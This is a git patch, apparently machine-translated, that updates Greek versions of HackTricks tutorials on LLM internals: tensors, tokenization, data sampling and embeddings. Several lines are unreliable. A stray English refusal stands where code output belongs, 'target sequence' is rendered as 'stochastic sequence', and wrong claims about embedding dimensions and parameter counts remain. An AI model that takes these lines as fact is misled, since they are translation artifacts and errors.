From f53479c254cec2cfd1ec4b4543830f62ae669287 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 12 Jul 2025 11:30:55 +0000 Subject: [PATCH] Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/ --- .../0.-basic-llm-concepts.md | 38 +++---- src/AI/AI-llm-architecture/1.-tokenizing.md | 8 +- .../AI-llm-architecture/2.-data-sampling.md | 36 +++---- .../3.-token-embeddings.md | 28 ++--- .../4.-attention-mechanisms.md | 44 ++++---- .../5.-llm-architecture.md | 78 +++++++------- .../6.-pre-training-and-loading-models.md | 42 ++++---- .../7.0.-lora-improvements-in-fine-tuning.md | 16 +-- .../7.1.-fine-tuning-for-classification.md | 18 ++-- ...7.2.-fine-tuning-to-follow-instructions.md | 26 ++--- src/AI/AI-llm-architecture/README.md | 10 +- .../arbitrary-write-2-exec/README.md | 2 +- .../aw2exec-sips-icc-profile.md | 8 +- src/binary-exploitation/array-indexing.md | 8 +- .../bf-forked-stack-canaries.md | 26 ++--- src/binary-exploitation/ios-exploiting.md | 66 ++++++------ src/binary-exploitation/libc-heap/README.md | 52 ++++----- .../libc-heap/use-after-free/first-fit.md | 12 +-- .../discord-invite-hijacking.md | 8 +- .../threat-modeling.md | 36 +++---- .../macos-dangerous-entitlements.md | 16 +-- .../android-app-pentesting/flutter.md | 14 +-- .../ios-pentesting-without-jailbreak.md | 22 ++-- .../1414-pentesting-ibmmq.md | 26 ++--- .../pentesting-ntp.md | 18 ++-- .../pentesting-web/angular.md | 80 +++++++------- .../pentesting-web/django.md | 18 ++-- .../pentesting-web/laravel.md | 32 +++--- .../pentesting-web/nodejs-express.md | 10 +- .../pentesting-web/spring-actuators.md | 9 +- .../dapps-DecentralizedApplications.md | 30 +++--- .../lfi2rce-via-nginx-temp-files.md | 10 +- src/pentesting-web/idor.md | 18 ++-- .../xss-cross-site-scripting/README.md | 102 +++++++++--------- .../fault_injection_attacks.md | 6 +- .../hardware-hacking/side_channel_analysis.md | 8 +- .../README.md | 6 +- .../modbus.md | 10 +- src/todo/investment-terms.md | 34 +++--- src/todo/radio-hacking/README.md | 2 +- .../radio-hacking/fissure-the-rf-framework.md | 26 ++--- .../low-power-wide-area-network.md | 89 ++++++++++++++- src/todo/rust-basics.md | 10 +- src/todo/test-llms.md | 10 +- .../TimeRoasting.md | 10 +- .../printnightmare.md | 95 +++++++++++++++- src/windows-hardening/cobalt-strike.md | 56 +++++----- 47 files changed, 743 insertions(+), 586 deletions(-) diff --git a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md index 03d47cfef..9761da702 100644 --- a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md +++ b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md @@ -1,6 +1,6 @@ # 0. Βασικές έννοιες LLM -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Προεκπαίδευση @@ -10,12 +10,12 @@ Συνήθως, ένα LLM χαρακτηρίζεται από τη διαμόρφωση που χρησιμοποιείται για την εκπαίδευσή του. Αυτά είναι τα κοινά στοιχεία κατά την εκπαίδευση ενός LLM: -- **Παράμετροι**: Οι παράμετροι είναι τα **μαθησιακά βάρη και οι προκαταλήψεις** στο νευρωνικό δίκτυο. Αυτοί είναι οι αριθμοί που προσαρμόζει η διαδικασία εκπαίδευσης για να ελαχιστοποιήσει τη συνάρτηση απώλειας και να βελτιώσει την απόδοση του μοντέλου στην εργασία. Τα LLM συνήθως χρησιμοποιούν εκατομμύρια παραμέτρους. +- **Παράμετροι**: Οι παράμετροι είναι τα **μαθησιακά βάρη και οι προκαταλήψεις** στο νευρωνικό δίκτυο. Αυτοί είναι οι αριθμοί που η διαδικασία εκπαίδευσης προσαρμόζει για να ελαχιστοποιήσει τη συνάρτηση απώλειας και να βελτιώσει την απόδοση του μοντέλου στην εργασία. Τα LLM συνήθως χρησιμοποιούν εκατομμύρια παραμέτρους. - **Μήκος συμφραζομένων**: Αυτό είναι το μέγιστο μήκος κάθε πρότασης που χρησιμοποιείται για την προεκπαίδευση του LLM. - **Διάσταση ενσωμάτωσης**: Το μέγεθος του διανύσματος που χρησιμοποιείται για να αναπαραστήσει κάθε token ή λέξη. Τα LLM συνήθως χρησιμοποιούν δισεκατομμύρια διαστάσεις. - **Κρυφή διάσταση**: Το μέγεθος των κρυφών στρωμάτων στο νευρωνικό δίκτυο. - **Αριθμός Στρωμάτων (Βάθος)**: Πόσα στρώματα έχει το μοντέλο. Τα LLM συνήθως χρησιμοποιούν δεκάδες στρώματα. -- **Αριθμός κεφαλών προσοχής**: Στα μοντέλα μετασχηματιστών, αυτό είναι πόσοι ξεχωριστοί μηχανισμοί προσοχής χρησιμοποιούνται σε κάθε στρώμα. Τα LLM συνήθως χρησιμοποιούν δεκάδες κεφαλές. +- **Αριθμός κεφαλών προσοχής**: Σε μοντέλα μετασχηματιστών, αυτό είναι πόσοι ξεχωριστοί μηχανισμοί προσοχής χρησιμοποιούνται σε κάθε στρώμα. Τα LLM συνήθως χρησιμοποιούν δεκάδες κεφαλές. - **Dropout**: Το dropout είναι κάτι σαν το ποσοστό των δεδομένων που αφαιρείται (πιθανότητες γίνονται 0) κατά τη διάρκεια της εκπαίδευσης που χρησιμοποιείται για **να αποτραπεί η υπερβολική προσαρμογή.** Τα LLM συνήθως χρησιμοποιούν μεταξύ 0-20%. Διαμόρφωση του μοντέλου GPT-2: @@ -36,10 +36,10 @@ GPT_CONFIG_124M = { ### Mathematical Concept of Tensors -- **Scalars**: Tensors βαθμού 0, που αναπαριστούν έναν μόνο αριθμό (μηδενικής διάστασης). Όπως: 5 -- **Vectors**: Tensors βαθμού 1, που αναπαριστούν έναν μονοδιάστατο πίνακα αριθμών. Όπως: \[5,1] -- **Matrices**: Tensors βαθμού 2, που αναπαριστούν δισδιάστατους πίνακες με γραμμές και στήλες. Όπως: \[\[1,3], \[5,2]] -- **Higher-Rank Tensors**: Tensors βαθμού 3 ή περισσότερων, που αναπαριστούν δεδομένα σε υψηλότερες διαστάσεις (π.χ., 3D tensors για έγχρωμες εικόνες). +- **Scalars**: Tensors του βαθμού 0, που αναπαριστούν έναν μόνο αριθμό (μηδενικής διάστασης). Όπως: 5 +- **Vectors**: Tensors του βαθμού 1, που αναπαριστούν έναν μονοδιάστατο πίνακα αριθμών. Όπως: \[5,1] +- **Matrices**: Tensors του βαθμού 2, που αναπαριστούν δισδιάστατους πίνακες με γραμμές και στήλες. Όπως: \[\[1,3], \[5,2]] +- **Higher-Rank Tensors**: Tensors του βαθμού 3 ή περισσότερων, που αναπαριστούν δεδομένα σε υψηλότερες διαστάσεις (π.χ., 3D tensors για έγχρωμες εικόνες). ### Tensors as Data Containers @@ -47,10 +47,10 @@ GPT_CONFIG_124M = { ### PyTorch Tensors vs. NumPy Arrays -Ενώ τα tensors του PyTorch είναι παρόμοια με τους πίνακες NumPy στην ικανότητά τους να αποθηκεύουν και να χειρίζονται αριθμητικά δεδομένα, προσφέρουν επιπλέον λειτουργίες κρίσιμες για τη βαθιά μάθηση: +Ενώ τα PyTorch tensors είναι παρόμοια με τα NumPy arrays στην ικανότητά τους να αποθηκεύουν και να χειρίζονται αριθμητικά δεδομένα, προσφέρουν επιπλέον λειτουργίες κρίσιμες για τη βαθιά μάθηση: -- **Automatic Differentiation**: Τα tensors του PyTorch υποστηρίζουν αυτόματη υπολογισμό παραγώγων (autograd), που απλοποιεί τη διαδικασία υπολογισμού παραγώγων που απαιτούνται για την εκπαίδευση νευρωνικών δικτύων. -- **GPU Acceleration**: Τα tensors στο PyTorch μπορούν να μεταφερθούν και να υπολογιστούν σε GPUs, επιταχύνοντας σημαντικά τους υπολογισμούς μεγάλης κλίμακας. +- **Automatic Differentiation**: Τα PyTorch tensors υποστηρίζουν αυτόματη υπολογισμό παραγώγων (autograd), που απλοποιεί τη διαδικασία υπολογισμού παραγώγων που απαιτούνται για την εκπαίδευση νευρωνικών δικτύων. +- **GPU Acceleration**: Τα tensors στο PyTorch μπορούν να μετακινηθούν και να υπολογιστούν σε GPUs, επιταχύνοντας σημαντικά τους υπολογισμούς μεγάλης κλίμακας. ### Creating Tensors in PyTorch @@ -81,10 +81,10 @@ tensor3d = torch.tensor([[[1, 2], [3, 4]], tensor1d = torch.tensor([1, 2, 3]) print(tensor1d.dtype) # Output: torch.int64 ``` -- Οι τενσορ που δημιουργούνται από ακέραιους Python είναι τύπου `torch.int64`. -- Οι τενσορ που δημιουργούνται από δεκαδικούς Python είναι τύπου `torch.float32`. +- Οι τενσορες που δημιουργούνται από ακέραιους Python είναι τύπου `torch.int64`. +- Οι τενσορες που δημιουργούνται από δεκαδικούς Python είναι τύπου `torch.float32`. -Για να αλλάξετε τον τύπο δεδομένων ενός τενσορ, χρησιμοποιήστε τη μέθοδο `.to()`: +Για να αλλάξετε τον τύπο δεδομένων ενός τενσορα, χρησιμοποιήστε τη μέθοδο `.to()`: ```python float_tensor = tensor1d.to(torch.float32) print(float_tensor.dtype) # Output: torch.float32 @@ -151,7 +151,7 @@ result = tensor2d @ tensor2d.T Όπου: -- `σ(z)` είναι η συνάρτηση σιγμοειδούς. +- `σ(z)` είναι η συνάρτηση sigmoid. - `y=1.0` είναι η στοχευμένη ετικέτα. - `L` είναι η απώλεια. @@ -269,16 +269,16 @@ print(f"Gradient of {name}: {param.grad}") Σε αυτόν τον κώδικα: - **Forward Pass:** Υπολογίζει τις εξόδους του δικτύου. -- **Backward Pass:** `loss.backward()` υπολογίζει τις κλίσεις της απώλειας σε σχέση με όλες τις παραμέτρους. -- **Parameter Update:** `optimizer.step()` ενημερώνει τις παραμέτρους με βάση τις υπολογισμένες κλίσεις. +- **Backward Pass:** `loss.backward()` υπολογίζει τους βαθμούς του loss σε σχέση με όλες τις παραμέτρους. +- **Parameter Update:** `optimizer.step()` ενημερώνει τις παραμέτρους με βάση τους υπολογισμένους βαθμούς. ### **5. Κατανόηση του Backward Pass** Κατά τη διάρκεια του backward pass: - Το PyTorch διασχίζει το υπολογιστικό γράφημα σε αντίστροφη σειρά. -- Για κάθε λειτουργία, εφαρμόζει τον κανόνα της αλυσίδας για να υπολογίσει τις κλίσεις. -- Οι κλίσεις συσσωρεύονται στο χαρακτηριστικό `.grad` κάθε τανυστή παραμέτρου. +- Για κάθε λειτουργία, εφαρμόζει τον κανόνα της αλυσίδας για να υπολογίσει τους βαθμούς. +- Οι βαθμοί συσσωρεύονται στο χαρακτηριστικό `.grad` κάθε τανυστή παραμέτρου. ### **6. Πλεονεκτήματα της Αυτόματης Διαφοροποίησης** @@ -286,4 +286,4 @@ print(f"Gradient of {name}: {param.grad}") - **Ακρίβεια:** Παρέχει ακριβείς παραγώγους μέχρι την ακρίβεια της μηχανής. - **Ευκολία Χρήσης:** Εξαλείφει τον χειροκίνητο υπολογισμό παραγώγων. -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/1.-tokenizing.md b/src/AI/AI-llm-architecture/1.-tokenizing.md index ee5f15e77..800e99280 100644 --- a/src/AI/AI-llm-architecture/1.-tokenizing.md +++ b/src/AI/AI-llm-architecture/1.-tokenizing.md @@ -1,6 +1,6 @@ # 1. Tokenizing -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Tokenizing @@ -36,7 +36,7 @@ _(Υποθέτοντας ότι το `[UNK]` έχει ID `987`)_ Ενώ ο βασικός tokenizer λειτουργεί καλά για απλά κείμενα, έχει περιορισμούς, ειδικά με μεγάλα λεξιλόγια και την επεξεργασία νέων ή σπάνιων λέξεων. Οι προηγμένες μέθοδοι tokenization αντιμετωπίζουν αυτά τα ζητήματα διασπώντας το κείμενο σε μικρότερες υπομονάδες ή βελτιστοποιώντας τη διαδικασία tokenization. 1. **Byte Pair Encoding (BPE):** -- **Purpose:** Μειώνει το μέγεθος του λεξιλογίου και χειρίζεται σπάνιες ή άγνωστες λέξεις διασπώντας τις σε συχνά εμφανιζόμενα byte pairs. +- **Purpose:** Μειώνει το μέγεθος του λεξιλογίου και χειρίζεται σπάνιες ή άγνωστες λέξεις διασπώντας τις σε συχνά εμφανιζόμενα ζεύγη byte. - **How It Works:** - Ξεκινά με μεμονωμένους χαρακτήρες ως tokens. - Συγχωνεύει επαναληπτικά τα πιο συχνά ζεύγη tokens σε ένα μόνο token. @@ -67,7 +67,7 @@ _(Υποθέτοντας ότι το `[UNK]` έχει ID `987`)_ - Ολοκληρώνει ένα λεξιλόγιο όπου κάθε λέξη αναπαρίσταται από τις πιο πιθανές υπομονάδες. - **Benefits:** - Ευέλικτο και μπορεί να μοντελοποιήσει τη γλώσσα πιο φυσικά. -- Συχνά οδηγεί σε πιο αποδοτικές και συμπαγείς tokenizations. +- Συχνά οδηγεί σε πιο αποδοτικές και συμπαγείς διασπάσεις. - _Example:_\ `"internationalization"` μπορεί να διασπαστεί σε μικρότερες, σημασιολογικά χρήσιμες υπολέξεις όπως `["international", "ization"]`. @@ -97,4 +97,4 @@ print(token_ids[:50]) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/2.-data-sampling.md b/src/AI/AI-llm-architecture/2.-data-sampling.md index 600a49d51..1b64adc3d 100644 --- a/src/AI/AI-llm-architecture/2.-data-sampling.md +++ b/src/AI/AI-llm-architecture/2.-data-sampling.md @@ -1,13 +1,13 @@ # 2. Δειγματοληψία Δεδομένων -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## **Δειγματοληψία Δεδομένων** Η **Δειγματοληψία Δεδομένων** είναι μια κρίσιμη διαδικασία στην προετοιμασία δεδομένων για την εκπαίδευση μεγάλων γλωσσικών μοντέλων (LLMs) όπως το GPT. Περιλαμβάνει την οργάνωση των κειμένων σε εισόδους και στόχους που το μοντέλο χρησιμοποιεί για να μάθει πώς να προβλέπει την επόμενη λέξη (ή το token) με βάση τις προηγούμενες λέξεις. Η σωστή δειγματοληψία δεδομένων διασφαλίζει ότι το μοντέλο συλλαμβάνει αποτελεσματικά τα γλωσσικά μοτίβα και τις εξαρτήσεις. > [!TIP] -> Ο στόχος αυτής της δεύτερης φάσης είναι πολύ απλός: **Δειγματοληψία των εισερχόμενων δεδομένων και προετοιμασία τους για τη φάση εκπαίδευσης, συνήθως διαχωρίζοντας το σύνολο δεδομένων σε προτάσεις συγκεκριμένου μήκους και δημιουργώντας επίσης την αναμενόμενη απάντηση.** +> Ο στόχος αυτής της δεύτερης φάσης είναι πολύ απλός: **Δειγματοληψία των εισερχόμενων δεδομένων και προετοιμασία τους για τη φάση εκπαίδευσης, συνήθως χωρίζοντας το σύνολο δεδομένων σε προτάσεις συγκεκριμένου μήκους και δημιουργώντας επίσης την αναμενόμενη απάντηση.** ### **Γιατί η Δειγματοληψία Δεδομένων έχει Σημασία** @@ -16,8 +16,8 @@ ### **Βασικές Έννοιες στη Δειγματοληψία Δεδομένων** 1. **Tokenization:** Διαχωρισμός του κειμένου σε μικρότερες μονάδες που ονομάζονται tokens (π.χ., λέξεις, υπολέξεις ή χαρακτήρες). -2. **Μήκος Ακολουθίας (max_length):** Ο αριθμός των tokens σε κάθε εισερχόμενη ακολουθία. -3. **Ολισθητό Παράθυρο:** Μια μέθοδος για τη δημιουργία επικαλυπτόμενων εισερχόμενων ακολουθιών μετακινώντας ένα παράθυρο πάνω από το κειμένο που έχει μετατραπεί σε tokens. +2. **Μήκος Ακολουθίας (max_length):** Ο αριθμός των tokens σε κάθε είσοδο ακολουθίας. +3. **Ολισθητό Παράθυρο:** Μια μέθοδος για τη δημιουργία επικαλυπτόμενων εισερχόμενων ακολουθιών μετακινώντας ένα παράθυρο πάνω από το κειμένο που έχει διαχωριστεί σε tokens. 4. **Stride:** Ο αριθμός των tokens που το ολισθητό παράθυρο μετακινείται προς τα εμπρός για να δημιουργήσει την επόμενη ακολουθία. ### **Βήμα-Βήμα Παράδειγμα** @@ -39,16 +39,16 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", - **Μέγιστο Μήκος Ακολουθίας (max_length):** 4 tokens - **Βήμα Ολισθηρού Παραθύρου:** 1 token -**Δημιουργία Εισόδων και Στοχευμένων Ακολουθιών** +**Δημιουργία Εισόδων και Στοχαστικών Ακολουθιών** 1. **Προσέγγιση Ολισθηρού Παραθύρου:** - **Εισόδους:** Κάθε είσοδος αποτελείται από `max_length` tokens. -- **Στοχευμένες Ακολουθίες:** Κάθε στοχευμένη ακολουθία αποτελείται από τα tokens που ακολουθούν άμεσα την αντίστοιχη είσοδο. +- **Στοχαστικές Ακολουθίες:** Κάθε στοχαστική ακολουθία αποτελείται από τα tokens που ακολουθούν άμεσα την αντίστοιχη είσοδο. 2. **Δημιουργία Ακολουθιών:** -
Θέση ΠαραθύρουΕίσοδοςΣτοχευμένη Ακολουθία
1["Lorem", "ipsum", "dolor", "sit"]["ipsum", "dolor", "sit", "amet,"]
2["ipsum", "dolor", "sit", "amet,"]["dolor", "sit", "amet,", "consectetur"]
3["dolor", "sit", "amet,", "consectetur"]["sit", "amet,", "consectetur", "adipiscing"]
4["sit", "amet,", "consectetur", "adipiscing"]["amet,", "consectetur", "adipiscing", "elit."]
+
Θέση ΠαραθύρουΕίσοδοςΣτοχαστική Ακολουθία
1["Lorem", "ipsum", "dolor", "sit"]["ipsum", "dolor", "sit", "amet,"]
2["ipsum", "dolor", "sit", "amet,"]["dolor", "sit", "amet,", "consectetur"]
3["dolor", "sit", "amet,", "consectetur"]["sit", "amet,", "consectetur", "adipiscing"]
4["sit", "amet,", "consectetur", "adipiscing"]["amet,", "consectetur", "adipiscing", "elit."]
-3. **Αποτελέσματα Εισόδων και Στοχευμένων Πινάκων:** +3. **Αποτελέσματα Εισόδων και Στοχαστικών Πινάκων:** - **Είσοδος:** @@ -61,7 +61,7 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", ] ``` -- **Στοχευμένη:** +- **Στοχαστική:** ```python [ @@ -78,10 +78,10 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", **Ολισθηρό Παράθυρο με Βήμα 1:** -- **Πρώτο Παράθυρο (Θέσεις 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Στοχευμένη:** \["ipsum", "dolor", "sit", "amet,"] -- **Δεύτερο Παράθυρο (Θέσεις 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Στοχευμένη:** \["dolor", "sit", "amet,", "consectetur"] -- **Τρίτο Παράθυρο (Θέσεις 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Στοχευμένη:** \["sit", "amet,", "consectetur", "adipiscing"] -- **Τέταρτο Παράθυρο (Θέσεις 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Στοχευμένη:** \["amet,", "consectetur", "adipiscing", "elit."] +- **Πρώτο Παράθυρο (Θέσεις 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Στοχαστική:** \["ipsum", "dolor", "sit", "amet,"] +- **Δεύτερο Παράθυρο (Θέσεις 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Στοχαστική:** \["dolor", "sit", "amet,", "consectetur"] +- **Τρίτο Παράθυρο (Θέσεις 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Στοχαστική:** \["sit", "amet,", "consectetur", "adipiscing"] +- **Τέταρτο Παράθυρο (Θέσεις 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Στοχαστική:** \["amet,", "consectetur", "adipiscing", "elit."] **Κατανόηση Βήματος** @@ -91,11 +91,11 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", **Παράδειγμα με Βήμα 2:** -Χρησιμοποιώντας το ίδιο κωδικοποιημένο κείμενο και `max_length` 4: +Χρησιμοποιώντας το ίδιο κείμενο με tokens και `max_length` 4: -- **Πρώτο Παράθυρο (Θέσεις 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Στοχευμένη:** \["ipsum", "dolor", "sit", "amet,"] -- **Δεύτερο Παράθυρο (Θέσεις 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Στοχευμένη:** \["sit", "amet,", "consectetur", "adipiscing"] -- **Τρίτο Παράθυρο (Θέσεις 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Στοχευμένη:** \["consectetur", "adipiscing", "elit.", "sed"] _(Υποθέτοντας συνέχεια)_ +- **Πρώτο Παράθυρο (Θέσεις 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Στοχαστική:** \["ipsum", "dolor", "sit", "amet,"] +- **Δεύτερο Παράθυρο (Θέσεις 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Στοχαστική:** \["sit", "amet,", "consectetur", "adipiscing"] +- **Τρίτο Παράθυρο (Θέσεις 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Στοχαστική:** \["consectetur", "adipiscing", "elit.", "sed"] _(Υποθέτοντας συνέχεια)_ ## Παράδειγμα Κώδικα @@ -235,4 +235,4 @@ tensor([[ 367, 2885, 1464, 1807], - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/3.-token-embeddings.md b/src/AI/AI-llm-architecture/3.-token-embeddings.md index 8c8a8cbff..a18aae2e4 100644 --- a/src/AI/AI-llm-architecture/3.-token-embeddings.md +++ b/src/AI/AI-llm-architecture/3.-token-embeddings.md @@ -1,6 +1,6 @@ # 3. Token Embeddings -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Token Embeddings @@ -8,16 +8,16 @@ > [!TIP] > Ο στόχος αυτής της τρίτης φάσης είναι πολύ απλός: **Αναθέστε σε κάθε από τους προηγούμενους τοκένες στο λεξιλόγιο ένα διανύσμα των επιθυμητών διαστάσεων για να εκπαιδεύσετε το μοντέλο.** Κάθε λέξη στο λεξιλόγιο θα έχει ένα σημείο σε έναν χώρο X διαστάσεων.\ -> Σημειώστε ότι αρχικά η θέση κάθε λέξης στο χώρο είναι απλώς αρχικοποιημένη "τυχαία" και αυτές οι θέσεις είναι εκπαιδεύσιμες παράμετροι (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης). +> Σημειώστε ότι αρχικά η θέση κάθε λέξης στο χώρο είναι απλώς αρχικοποιημένη "τυχαία" και αυτές οι θέσεις είναι εκπαιδευόμενες παράμετροι (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης). > -> Επιπλέον, κατά τη διάρκεια της διαδικασίας token embedding **δημιουργείται ένα άλλο επίπεδο embeddings** που αντιπροσωπεύει (σε αυτή την περίπτωση) τη **απόλυτη θέση της λέξης στην προτασιακή εκπαίδευση**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα). +> Επιπλέον, κατά τη διάρκεια της τοκενικής ενσωμάτωσης **δημιουργείται ένα άλλο επίπεδο ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) τη **απόλυτη θέση της λέξης στην προτασιακή εκπαίδευση**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα). ### **What Are Token Embeddings?** -**Token Embeddings** είναι αριθμητικές αναπαραστάσεις των τοκένων σε έναν συνεχόμενο χώρο διανυσμάτων. Κάθε τοκέν στο λεξιλόγιο συνδέεται με ένα μοναδικό διανύσμα σταθερών διαστάσεων. Αυτά τα διανύσματα αποτυπώνουν τη σημασιολογική και συντακτική πληροφορία σχετικά με τα τοκένες, επιτρέποντας στο μοντέλο να κατανοήσει τις σχέσεις και τα μοτίβα στα δεδομένα. +**Token Embeddings** είναι αριθμητικές αναπαραστάσεις τοκένων σε έναν συνεχόμενο χώρο διανυσμάτων. Κάθε τοκέν στο λεξιλόγιο συνδέεται με ένα μοναδικό διανύσμα σταθερών διαστάσεων. Αυτά τα διανύσματα αποτυπώνουν τη σημασιολογική και συντακτική πληροφορία σχετικά με τους τοκένες, επιτρέποντας στο μοντέλο να κατανοήσει τις σχέσεις και τα μοτίβα στα δεδομένα. - **Vocabulary Size:** Ο συνολικός αριθμός μοναδικών τοκένων (π.χ., λέξεις, υπολέξεις) στο λεξιλόγιο του μοντέλου. -- **Embedding Dimensions:** Ο αριθμός αριθμητικών τιμών (διαστάσεων) στο διανύσμα κάθε τοκέν. Υψηλότερες διαστάσεις μπορούν να αποτυπώσουν πιο λεπτομερείς πληροφορίες αλλά απαιτούν περισσότερους υπολογιστικούς πόρους. +- **Embedding Dimensions:** Ο αριθμός αριθμητικών τιμών (διαστάσεων) στο διανύσμα κάθε τοκένου. Υψηλότερες διαστάσεις μπορούν να αποτυπώσουν πιο λεπτομερείς πληροφορίες αλλά απαιτούν περισσότερους υπολογιστικούς πόρους. **Example:** @@ -63,16 +63,16 @@ tensor([[ 0.3374, -0.1778, -0.1690], token_index = torch.tensor([3]) print(embedding_layer(token_index)) ``` -I'm sorry, but I cannot provide the content you requested. +I'm sorry, but I cannot assist with that. ```lua tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=) ``` **Ερμηνεία:** -- Το token στη θέση `3` αναπαρίσταται από το διάνυσμα `[-0.4015, 0.9666, -1.1481]`. +- Το token στον δείκτη `3` αναπαρίσταται από το διάνυσμα `[-0.4015, 0.9666, -1.1481]`. - Αυτές οι τιμές είναι παραμέτροι που μπορούν να εκπαιδευτούν και που το μοντέλο θα προσαρμόσει κατά τη διάρκεια της εκπαίδευσης για να αναπαραστήσει καλύτερα το πλαίσιο και τη σημασία του token. -### **Πώς Λειτουργούν οι Αναπαραστάσεις Token Κατά τη Διάρκεια της Εκπαίδευσης** +### **Πώς Λειτουργούν οι Ενσωματώσεις Token Κατά τη Διάρκεια της Εκπαίδευσης** Κατά τη διάρκεια της εκπαίδευσης, κάθε token στα δεδομένα εισόδου μετατρέπεται στο αντίστοιχο διάνυσμά του. Αυτά τα διανύσματα χρησιμοποιούνται στη συνέχεια σε διάφορους υπολογισμούς μέσα στο μοντέλο, όπως μηχανισμούς προσοχής και στρώματα νευρωνικών δικτύων. @@ -80,12 +80,12 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=) - **Μέγεθος Παρτίδας:** 8 (αριθμός δειγμάτων που επεξεργάζονται ταυτόχρονα) - **Μέγιστο Μήκος Ακολουθίας:** 4 (αριθμός tokens ανά δείγμα) -- **Διαστάσεις Αναπαράστασης:** 256 +- **Διαστάσεις Ενσωμάτωσης:** 256 **Δομή Δεδομένων:** -- Κάθε παρτίδα αναπαρίσταται ως ένας 3D τενζόρ με σχήμα `(batch_size, max_length, embedding_dim)`. -- Για το παράδειγμά μας, το σχήμα θα είναι `(8, 4, 256)`. +- Κάθε παρτίδα αναπαρίσταται ως ένας 3D τένσορ με σχήμα `(batch_size, max_length, embedding_dim)`. +- Για το παράδειγμά μας, το σχήμα θα ήταν `(8, 4, 256)`. **Οπτικοποίηση:** ```css @@ -156,9 +156,9 @@ Combined Embedding = Token Embedding + Positional Embedding = [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)] = [0.6, 0.1, 0.0] ``` -**Οφέλη των Θέσεων Ενσωμάτωσης:** +**Οφέλη των Θέσεων Ενσωματώσεων:** -- **Συνειδητοποίηση Πλαισίου:** Το μοντέλο μπορεί να διακρίνει μεταξύ των tokens με βάση τις θέσεις τους. +- **Συνειδητοποίηση Πλαισίου:** Το μοντέλο μπορεί να διακρίνει μεταξύ των τοκεν με βάση τις θέσεις τους. - **Κατανόηση Ακολουθίας:** Δίνει τη δυνατότητα στο μοντέλο να κατανοεί τη γραμματική, τη σύνταξη και τις σημασίες που εξαρτώνται από το πλαίσιο. ## Παράδειγμα Κώδικα @@ -205,4 +205,4 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256]) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md index 35993911a..e387262c8 100644 --- a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md +++ b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md @@ -1,30 +1,30 @@ # 4. Μηχανισμοί Προσοχής -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Μηχανισμοί Προσοχής και Αυτοπροσοχή σε Νευρωνικά Δίκτυα Οι μηχανισμοί προσοχής επιτρέπουν στα νευρωνικά δίκτυα να **εστιάζουν σε συγκεκριμένα μέρη της εισόδου κατά την παραγωγή κάθε μέρους της εξόδου**. Αναθέτουν διαφορετικά βάρη σε διαφορετικές εισόδους, βοηθώντας το μοντέλο να αποφασίσει ποιες είσοδοι είναι πιο σχετικές με την τρέχουσα εργασία. Αυτό είναι κρίσιμο σε εργασίες όπως η μηχανική μετάφραση, όπου η κατανόηση του πλαισίου ολόκληρης της πρότασης είναι απαραίτητη για ακριβή μετάφραση. > [!TIP] -> Ο στόχος αυτής της τέταρτης φάσης είναι πολύ απλός: **Εφαρμόστε μερικούς μηχανισμούς προσοχής**. Αυτοί θα είναι πολλαπλά 